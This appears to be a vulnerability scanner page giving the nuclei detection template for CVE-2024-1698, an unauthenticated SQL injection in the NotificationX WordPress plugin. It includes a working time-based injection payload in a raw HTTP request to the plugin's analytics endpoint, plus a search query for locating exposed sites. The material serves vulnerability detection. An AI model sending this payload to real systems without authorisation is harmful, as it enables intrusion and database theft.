CVE-2024-1698· wpdeveloper / notificationx
NotificationX <= 2.8.2 - SQL Injection
The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can extract sensitive database information including usernames, passwords, and other confidential data via time-based SQL injection.
Fix
Update NotificationX plugin to version 2.8.3 or later.
How to confirm it
Send: @timeout 10s
Positive when: duration>=5 and status_code == 200 and contains(body, "{\"success\":true}") and contains(header, "application/json")Run it with nuclei: nuclei -id CVE-2024-1698 -u <target>
The full check
id: CVE-2024-1698
info:
name: NotificationX <= 2.8.2 - SQL Injection
author: DhiyaneshDk
severity: critical
description: |
The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can extract sensitive database information including usernames, passwords, and other confidential data via time-based SQL injection.
remediation: |
Update NotificationX plugin to version 2.8.3 or later.
reference:
- https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
- https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91?source=cve
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://nvd.nist.gov/vuln/detail/CVE-2024-1698
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1698
epss-score: 0.77434
epss-percentile: 0.99563
cpe: cpe:2.3:a:wpdeveloper:notificationx:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: body="/wp-content/plugins/notificationx"
product: notificationx
vendor: wpdeveloper
tags: time-based-sqli,cve,cve2024,wpscan,wordpress,wp-plugin,notificationx,sqli,vkev,vuln
http:
- raw:
- |
@timeout 10s
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'status_code == 200'
- 'contains(body, "{\"success\":true}")'
- 'contains(header, "application/json")'
condition: andReferences
- https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
- https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91?source=cve
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://nvd.nist.gov/vuln/detail/CVE-2024-1698
Use this check only on systems you are authorised to test. Where the data comes from